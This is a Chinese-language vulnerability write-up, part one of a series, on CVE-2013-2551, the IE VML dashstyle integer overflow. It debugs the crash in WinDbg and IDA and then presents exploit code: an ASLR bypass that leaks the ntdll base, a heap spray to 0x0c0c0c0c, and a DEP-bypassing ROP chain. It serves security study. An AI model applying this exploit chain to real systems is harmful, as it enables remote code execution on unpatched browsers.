CVE-2013-2551样本分析及漏洞利用和防御（上篇）
0x0 写在前面
VUPEN团队在Pwn2Own 2013黑客大赛上使用漏洞攻破Windows 8环境下的IE10，随后在其博客上公开了技术细节。根据VUPEN描述，该漏洞产生于VGX.DLL模块，在VML语言中处理图形标签的stroke子元素的dashstyle存在安全隐患
微软在安全公告MS13-037中详细列举了受影响软件范围从IE6-IE10，并给出相应平台的安全更新
本文调试的Poc由4B5F5F4B根据VUPEN在博客中公开的信息构造
调试思路是对IE开启页堆，利用调试器支持，实时检测到溢出之后，根据函数调用关系往上一层一层跟踪数据来源和阅读反汇编代码，寻找漏洞触发的关键点
0x1 调试环境 & 样本信息
1.1 调试环境
[操作系统]：Windows 7 Ultimate SP1(X64)、 Windows 7 Ultimate SP1(X86)
[浏览器]：Internet Explorer 8.0.7601.17514
[调试器]：Windbg 6.11.0001.402 X86
[反汇编器]：IDA Pro 6.8.150423(32-bit)
1.2 样本信息
0x2 样本调试
2.1 对IE浏览器开启页堆
2.2 运行样本
使用Windbg附加IE，然后运行样本，允许加载ActiveX控件，并点击页面中的crash按钮
2.3 查看崩溃时信息
崩溃语句信息
0:012> g
(894.f80): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=201c7064 ebx=72a94964 ecx=00000001 edx=00000000 esi=201c7060 edi=08b69d44
eip=76de9966 esp=08b69d00 ebp=08b69d08 iopl=0 nv up ei ng nz ac pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297
msvcrt!memcpy+0x158:
76de9966 8b448efc mov eax,dword ptr [esi+ecx*4-4] ds:002b:201c7060=????????
栈的调用关系
0:004> kb
ChildEBP RetAddr Args to Child
08b69d08 72a3cfa9 08b69d44 201c7060 00000004 msvcrt!memcpy+0x158
08b69d1c 72a8da0f 20c5afe8 08b69d44 00000044 vgx!ORG::Get+0x27
08b69d48 76c53e75 20c5afe8 00000044 08b69dac vgx!COALineDashStyleArray::get_item+0x8c
08b69d68 76c53cef 20e62ff0 00000024 00000004 OLEAUT32!DispCallFunc+0x165
...(lines have been omitted)...
查看vgx模块的详细信息
0:004> lm vm vgx
start end module name
72a10000 72ad1000 vgx (pdb symbols) c:symboslVGX.pdb3CED25965F214824ABDF507AE4541DE32VGX.pdb
Loaded symbol image file: C:Program Files (x86)Common FilesMicrosoft SharedVGXvgx.dll
Image path: C:Program Files (x86)Common FilesMicrosoft SharedVGXvgx.dll
Image name: vgx.dll
Timestamp: Tue Jul 14 09:11:08 2009 (4A5BDB2C)
CheckSum: 000C2C1E
ImageSize: 000C1000
File version: 8.0.7600.16385
Product version: 8.0.7600.16385
File flags: 0 (Mask 3F)
File OS: 40004 NT Win32
File type: 2.0 Dll
File date: 00000000.00000000
Translations: 0409.04b0
CompanyName: Microsoft Corporation
ProductName: Windows® Internet Explorer
InternalName: VGX.DLL
OriginalFilename: VGX.DLL
ProductVersion: 8.00.7600.16385
FileVersion: 8.00.7600.16385 (win7_rtm.090713-1255)
FileDescription: Microsoft Vector Graphics Rendering(VML)
LegalCopyright: © Microsoft Corporation. All rights reserved.
2.4 使用IDA查看崩溃点附近代码
msvcrt!memcpy函数经过千锤百炼几乎不用去怀疑，直接查看上层调用
计算偏移：0x72a3cfa4 – 0x72a10000 = 0x2CFA4
该版本vgx.dll模块在IDA中的基址为：0x198C0000
经过计算，memcpy函数在地址0x198ECFA4处被调用
经过分析，src为结构体第4项数据 + （结构体第2项数据 && 0xFFFF）* arg_8
2.5 继续查看上层函数
在Windbg中查看(vgx!COALineDashStyleArray::get_item+0x89)
72a8da0c ff511c call dword ptr [ecx+1Ch]
72a8da0f 8b4510 mov eax,dword ptr [ebp+10h]
计算该语句在IDA中的地址
0x72a8da0c - 0x72a10000 + 0x198C0000 = 0x1993DA0C
使用IDA查看该函数
使用Windbg跟踪vgx!COALineDashStyleArray::get_item的执行流程
重新运行样本
0:015> .childdbg 1
Processes created by the current process will be debugged
0:015> bu 72a8da0c - 72a10000 + vgx.dll
0:015> bu 72a8d983 - 72a10000 + vgx.dll
0:015> bl
0 e 70a4da0c 0001 (0001) 0:**** vgx!COALineDashStyleArray::get_item+0x89
1 e 70a4d983 0001 (0001) 0:**** vgx!COALineDashStyleArray::get_item
经过调试，在vgx!COALineDashStyleArray::get_item+0x70处调用vgx!ORG::CElements函数
vgx!COALineDashStyleArray::get_item+0x70:
70a4d9f3 ff512c call dword ptr [ecx+2Ch] ds:002b:709e7284={vgx!ORG::CElements (709fd079)}单步步入vgx!ORG::CElements函数
根据movzx指令判断，该数值为无符号数
函数返回后，对使用0扩展之后的无符号数进行了有符号的条件判断
之前的unsigned short int 0扩展之后被强转为 int，且样本传入的数值为0xFFFF，造成整数溢出
0x3 漏洞利用
本文漏洞利用针对没打任何补丁的Windows 7 Ultimate SP1(X86) 环境，结合源码和调试分析利用过程
本文中漏洞利用代码主要参考调试的Poc样本代码、以及网上的公开代码整理编写
漏洞利用成功截图
Poc源码中溢出的关键语句:
vml1.dashstyle.array.length = 0 - 1
3.1 过ASLR
过ASLR的源码大致如下:
for (var i=0; i<0x400; i++){
a[i].rotation;
if (i == 0x300) {
vml1.dashstyle = "1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44"
}
}
var length_orig = vml1.dashstyle.array.length;
vml1.dashstyle.array.length = 0 - 1;
for (var i=0; i<0x400; i++) {
a[i].marginLeft = "Khwarezm111";
marginLeftAddress = vml1.dashstyle.array.item(0x2e+0x16);
if (marginLeftAddress > 0) {
vml1.dashstyle.array.item(0x2e+0x16) = 0x7ffe0300;
var leak = a[i].marginLeft;
vml1.dashstyle.array.item(0x2e+0x16) = marginLeftAddress;
vml1.dashstyle.array.length = length_orig;
ntdll_base=parseInt(leak.charCodeAt(1).toString(16)+leak.charCodeAt(0).toString(16), 16 ) - 0x470B0;在赋值之后，加入弹框把流程中断下来
vml1.dashstyle.array.item(0x2e+0x16) = 0x7ffe0300;
alert("pause");使用Windbg附加运行，弹出窗口后在Windbg上点击暂停，然后搜索数值0x7ffe0300
0:015> s -b 0x0 L?0x7fffffff 00 03 fe 7f
020ce7c8 00 03 fe 7f c4 ea 0d 02-90 d5 0c 02 00 00 00 00 ................
020dbfa3 00 03 fe 7f 25 01 00 5b-03 14 1e 74 05 00 00 0a ....%..[...t....
020dccb8 00 03 fe 7f 00 00 00 00-80 00 0b 02 00 00 00 00 ................
04be5c78 00 03 fe 7f 00 00 00 00-00 00 00 00 00 00 00 00 ................
762113e6 00 03 fe 7f ff 12 c2 04-00 90 90 90 90 90 90 90 ................
76212b41 00 03 fe 7f ff 12 c2 08-00 90 90 90 90 90 b8 01 ................
搜索的记录太多无法验证，那么我们再搜索字符串"Khwarezm111"
0:015> s -u 0x0 L?0x7fffffff "Khwarezm111"
0044df04 004b 0068 0077 0061 0072 0065 007a 006d K.h.w.a.r.e.z.m.
004b48b8 004b 0068 0077 0061 0072 0065 007a 006d K.h.w.a.r.e.z.m.
接着搜索数值0x0044df04
0:015> s -b 0x0 L?0x7fffffff 04 df 44 00
04bc8568 04 df 44 00 00 00 00 00-00 00 00 00 00 00 00 00 ..D.............
04c0cdcc 04 df 44 00 00 9d 0b 02-28 46 9c 77 04 df 44 00 ..D.....(F.w..D.
04c0cdd8 04 df 44 00 7c 78 0d 02-16 00 00 00 18 cc 64 6c ..D.|x........dl
04c22c84 04 df 44 00 00 9d 0b 02-28 46 9c 77 04 df 44 00 ..D.....(F.w..D.
04c22c90 04 df 44 00 7c 78 0d 02-16 00 00 00 18 cc 64 6c ..D.|x........dl
结合以上三个搜索结果，可以猜测地址0x04be5c78就是我们寻找的保存数值0x7ffe0300的地方
在内存窗口验证猜测
往前翻，其内存布局如下
查看圈红处的数据
0:015> db 04a08124 L16
04a08124 4b 00 68 00 77 00 61 00-72 00 65 00 7a 00 6d 00 K.h.w.a.r.e.z.m.
04a08134 31 00 31 00 31 00 1.1.1.
0:015> db 04a0814c L16
04a0814c 4b 00 68 00 77 00 61 00-72 00 65 00 7a 00 6d 00 K.h.w.a.r.e.z.m.
04a0815c 31 00 31 00 31 00 1.1.1.
可以看见，上诉代码在一片对象中间利用dashstyle属性插入了和一个对象相同大小的数组，利用溢出，定位到数组后一个对象保存字符串首地址的地方，通过越界写入任意值，然后利用对象的属性定位到该任意值
本文利用固定偏移泄露NTDLL.DLL的基址
0:015> dd 7ffe0300 L1
7ffe0300 778970b0
0:015> u 778970b0
ntdll!KiFastSystemCall:
778970b0 8bd4 mov edx,esp
778970b2 0f34 sysenter
3.2 精确喷射
精确堆喷到地址0x0c0c0c0c，源码大致如下:
var fill = unescape("%u0c0c%u0c0c");
while (fill.length < 0x1000){
fill += fill;
}
// [ padding offset ]
padding = fill.substring(0, 0x5F6);
// [ fill each chunk with 0x1000 bytes ]
evilcode = padding + rop_chains + shellcode + fill.substring(0, 0x800 - padding.length - rop_chains.length - shellcode.length);3.3 过DEP
使用ROP链过DEP，源码大致如下:
function getRealAddr(base ,offect){
var real_addr = base + offect;
var str = real_addr.toString(16);
var s1 = str.substring(0,4);
var s2 = str.substring(4,8);
return "%u" + s2 + "%u" + s1
}
ntdll_base = getNtdllBase();
stack_pivot = getRealAddr(ntdll_base,0x0001578a);
stack_pivot += getRealAddr(ntdll_base,0x000096c9);
stack_pivot += getRealAddr(ntdll_base,0x00015789);
ntdll_rop = getRealAddr(ntdll_base ,0x45F18);
ntdll_rop += "%u0c40%u0c0c";
ntdll_rop += "%uffff%uffff";
ntdll_rop += "%u0c34%u0c0c";
ntdll_rop += "%u0c38%u0c0c";
ntdll_rop += "%u0040%u0000";
ntdll_rop += "%u0c3c%u0c0c";
ntdll_rop += "%u0c40%u0c0c";
ntdll_rop += "%u0400%u0000";
ntdll_rop += "%u4141%u4141";
rop_chains = unescape(stack_pivot + ntdll_rop);
